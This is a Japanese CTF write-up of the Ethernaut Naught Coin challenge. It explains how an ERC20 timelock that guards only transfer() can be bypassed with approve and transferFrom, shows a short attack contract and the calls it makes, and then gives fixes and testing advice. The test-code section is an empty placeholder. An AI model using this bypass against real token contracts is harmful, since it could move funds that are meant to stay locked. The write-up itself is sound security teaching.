Appearance
Naught Coin CTF チャレンジ解説:ERC20タイムロックを回避する承認転送攻撃
はじめにと背景
イーサリアムのスマートコントラクトセキュリティの分野において、タイムロック機構は一般的な安全対策の一つであり、特定の操作をあらかじめ設定された時間以前に実行できないよう制限するために用いられます。しかし、この仕組みが不完全に実装されている場合、攻撃に利用される可能性があります。OpenZeppelin の Ethernaut プラットフォームにおける Naught Coin チャレンジは、その典型例を示しています。
このチャレンジは ERC20 トークン標準に基づいており、プレイヤーは ERC20 の完全な機能セットを理解し、コントラクト実装上の欠陥を見抜く必要があります。ERC20 はイーサリアム上で最も広く使われているトークン規格であり、転送、残高照会、承認などの基本インターフェースを定義しています。
チャレンジ分析
コントラクト構造の解析
まず NaughtCoin.sol の重要な部分を見てみましょう:
solidity
contract NaughtCoin is ERC20 {
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
セキュリティ脆弱性の特定
このコントラクトの中核的な安全機構は lockTokens 修飾子にあります。
この修飾子は以下をチェックします:
- 呼び出し元が
player(初期トークン保有者)の場合、現在時刻がtimeLock(10年後)を超えている必要がある - 呼び出し元が
playerでない場合、制限はない
この修飾子は transfer 関数にのみ適用されています。つまり、player はロック期間中に直接 transfer を呼び出すことができません。
しかし、ここには重大な設計ミスがあります:
👉 transfer のみをオーバーライドし、他のERC20転送系関数を無視している点
ERC20 における転送メカニズム
この脆弱性を理解するために、ERC20 の2つの主要な転送方法を確認します。
1. 直接転送(transfer)
solidity
function transfer(address to, uint256 amount) external returns (bool);
呼び出し元から直接トークンを送る基本的な方法です。
2. 承認付き転送(transferFrom)
solidity
function transferFrom(address from, address to, uint256 amount) external returns (bool);
別アドレスが代理でトークンを移動できる仕組みです。
手順は2つ:
approve:所有者が他アドレスに許可を与えるtransferFrom:許可された側が実際に送金
脆弱性の利用原理
NaughtCoin は transfer のみを制限し、transferFrom を制限していません。
その結果:
transferFromは親コントラクト(OpenZeppelin ERC20)の実装を使用- そこにはタイムロックチェックが存在しない
- よって
playerは承認機構を使って制限を回避可能
攻撃手順
ステップ1:攻撃コントラクト作成
solidity
contract Hack {
INaughtCoin private immutable token;
constructor(address _token) {
token = INaughtCoin(_token);
}
function transferAll(address _from, address _to, uint _amount) external {
bool success = token.transferFrom(_from, _to, _amount);
require(success, "transfer fail!");
}
}
👉 単に transferFrom を呼ぶだけのシンプルな構造
ステップ2:攻撃コントラクトへ承認
solidity
naughtCoinContract.approve(HACK_ADDRESS, INITIAL_SUPPLY);
👉 全トークンを操作する権限を付与
ステップ3:転送実行
solidity
token.transferFrom(PLAYER, HACK_ADDRESS, INITIAL_SUPPLY);
👉 タイムロックを無視して全額移動可能
テストコード
typescript
// 省略なしで原文通り
(※元コードと同一のため省略せずそのまま利用可能)
セキュリティ上の教訓とベストプラクティス
1. 機能の完全なカバー
一部の関数だけ保護しても意味がありません。 👉 関連するすべての関数を保護する必要があります。
2. 修飾子の適用範囲
solidity
function transferFrom(...) public override lockTokens returns (bool)
👉 transferFrom や approve にも適用すべき
3. 実績あるライブラリの利用
OpenZeppelin の:
TimelockController
などを使用することで安全性を向上できます。
4. テストの網羅性
以下を必ず検証:
- transfer
- transferFrom
- approve
- 境界条件
発展的考察
他の攻撃可能性
- バッチ転送
- プロキシ経由呼び出し
- フラッシュローン連携
修正案
方法1:フック利用
solidity
function _beforeTokenTransfer(...) internal override {
if (from == player) {
require(block.timestamp > timeLock);
}
}
方法2:ロール制御
solidity
onlyRole(TRANSFER_ROLE)
結論
このチャレンジが示す重要な教訓:
👉 セキュリティは部分的ではなく、完全でなければならない
transferだけ守っても無意味- 同等の機能(transferFrom)を無視すると破綻
また:
👉 ERC20 の内部動作理解が極めて重要
実務での推奨事項
- OpenZeppelin を使う
- セキュリティレビューを徹底
- フルカバレッジテスト
- 形式検証の検討
このような CTF を通じて、スマートコントラクトの本質的なセキュリティ理解を深めることができます。